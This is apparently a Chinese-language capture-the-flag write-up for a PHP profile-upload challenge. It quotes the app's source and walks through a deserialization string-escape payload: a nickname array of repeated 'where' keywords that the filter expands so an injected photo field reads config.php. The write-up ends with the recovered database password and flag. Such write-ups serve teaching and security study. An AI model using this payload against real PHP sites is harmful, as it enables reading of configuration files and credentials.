先找到register.php注册一个账号,然后登陆,就会跳转到profile.php,用dirsearch扫扫,扫到了www.zip
config.php
<?php $config[\'hostname\'] = \'127.0.0.1\'; $config[\'username\'] = \'root\'; $config[\'password\'] = \'\'; $config[\'database\'] = \'\'; $flag = \'\'; ?>
显然这里有flag,但是没有出来
然后在profile.php里存在反序列
<?php require_once(\'class.php\'); if($_SESSION[\'username\'] == null) { die(\'Login First\'); } $username = $_SESSION[\'username\']; $profile=$user->show_profile($username); if($profile == null) { header(\'Location: update.php\'); } else { $profile = unserialize($profile); $phone = $profile[\'phone\']; $email = $profile[\'email\']; $nickname = $profile[\'nickname\']; $photo = base64_encode(file_get_contents($profile[\'photo\'])); ?>
可以看到photo里的文件经过file_get_contents()处理,所以可以在这个读取config.php的flag
登录和注册不看,从update开始
<?php require_once(\'class.php\'); if($_SESSION[\'username\'] == null) { die(\'Login First\'); } if($_POST[\'phone\'] && $_POST[\'email\'] && $_POST[\'nickname\'] && $_FILES[\'photo\']) { $username = $_SESSION[\'username\']; if(!preg_match(\'/^\d{11}$/\', $_POST[\'phone\'])) die(\'Invalid phone\'); if(!preg_match(\'/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/\', $_POST[\'email\'])) die(\'Invalid email\'); if(preg_match(\'/[^a-zA-Z0-9_]/\', $_POST[\'nickname\']) || strlen($_POST[\'nickname\']) > 10) die(\'Invalid nickname\'); $file = $_FILES[\'photo\']; if($file[\'size\'] < 5 or $file[\'size\'] > 1000000) die(\'Photo size error\'); move_uploaded_file($file[\'tmp_name\'], \'upload/\' . md5($file[\'name\'])); $profile[\'phone\'] = $_POST[\'phone\']; $profile[\'email\'] = $_POST[\'email\']; $profile[\'nickname\'] = $_POST[\'nickname\']; $profile[\'photo\'] = \'upload/\' . md5($file[\'name\']); $user->update_profile($username, serialize($profile)); echo \'Update Profile Success!<a href="profile.php">Your Profile</a>\'; } else { ?>
这里用了一堆正则表达式来过滤我们提交的数据,而且第三个正则表达式和前面两个不一样,这里判断了nickname是否为字符还有长度是否超过10。用文章开头的知识点二,如果我们传入的nickname是一个数组,绕过长度的限制,则可以绕过这正则表达式,是我们不会die出。
在代码的后面调用update_profile处我们想到这个可能是将数据保存到数据库,而且还用了php序列化serialize(),我们可以大胆的尝试
class.php中看到了定义的update_profile()方法
public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = \'$username\'"; return parent::update($this->table, \'profile\', $new_profile, $where); }
filter()
public function filter($string) { $escape = array(\'\\'\', \'\\\\\'); $escape = \'/\' . implode(\'|\', $escape) . \'/\'; $string = preg_replace($escape, \'_\', $string); $safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\'); $safe = \'/\' . implode(\'|\', $safe) . \'/i\'; return preg_replace($safe, \'hacker\', $string); }
update()
public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = \'$value\' WHERE $where"; return mysql_query($sql); }
update.php我们基本上就搞清楚了,是先经过正则表达式将用户提交的参数值过滤,然后序列化,然后将非法的值替换为\'hacker\'
前面已经知道,我们的目的是要读取config.php从而得到flag,读取config.php需要替换$profile[‘photo’],也就是要让config,php成为序列化的一部分,可以利用的是反序列化字符串逃逸
在后端中,反序列化是以";}结束的,因此如果我们把";}带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前结束而后面的内容就会被丢弃
我们考虑怎么让";}s:5:“photo”;s:10:“config.php”;}这34个字符逃逸出来
前面提到Fliter会将where一类的函数替换成hacker,也就是说where在被正则替换后,其本身的长度会加1,如果我们构造34个where
34*5 = 170 170+34个字符=204=len(\'\'hacker")*34
那么在传入后端之后hacker的长度就会将我们目标逃逸字符挤掉
传入: s:8:"nickname";a:1:{i:0;s:204:"34*where";}s:5:"photo";s:10:"config.php";} 此时34*where";}s:5:"photo";s:10:"config.php";}都作为nickname存在 正则替换: s:8:"nickname";a:1:{i:0;s:204:"34*hacker";}s:5:"photo";s:10:"config.php";} 因为s只有204个字符,所以读取第34个hacker之后就停止,34个字符";}s:5:"photo";s:10:"config.php";}不再包含在nickname内
既然从nickname逃逸出,"};将前面的nickname数组闭合之后,剩下的s:5:"photo";s:10:"config.php";}就会被当作photo的部分了,至于后面的upload,由于被后面";}结束反序列化,也就被丢弃,这样就实现了config.php的读取
然后看源码,解码后
<?php $config[\'hostname\'] = \'127.0.0.1\'; $config[\'username\'] = \'root\'; $config[\'password\'] = \'qwertyuiop\'; $config[\'database\'] = \'challenges\'; $flag = \'flag{dbb6277a-e7d7-4fed-a249-07c4cdaf19aa}\'; ?>